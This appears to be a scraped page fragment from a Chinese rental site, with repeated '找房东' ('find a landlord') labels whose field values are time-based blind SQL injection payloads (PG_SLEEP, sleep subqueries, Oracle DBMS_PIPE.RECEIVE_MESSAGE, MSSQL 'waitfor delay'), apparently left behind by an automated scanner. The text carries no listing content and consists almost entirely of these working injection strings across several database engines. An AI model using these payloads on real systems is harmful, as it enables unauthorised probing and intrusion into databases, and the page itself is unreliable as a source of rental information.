找房东 
  |  
               
                 
                  d2caVCKE')) OR 604=(SELECT 604 FROM PG_SLEEP(15))--
                  
               |  
            
 
                
                 找房东 
  |  
               
                 
                  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
                  
               |  
            
 
                
                 找房东 
  |  
               
                 
                  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
                  
               |  
            
 
                
                 找房东 
  |  
               
                 
                  -1; waitfor delay '0:0:15' -- 
                  
               |  
            
 
                
                 找房东 
  |  
               
                 
                  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
                  
               |  
            
 
                
                 找房东 
  |  
               
                 
                  -1); waitfor delay '0:0:15' -- 
                  
               |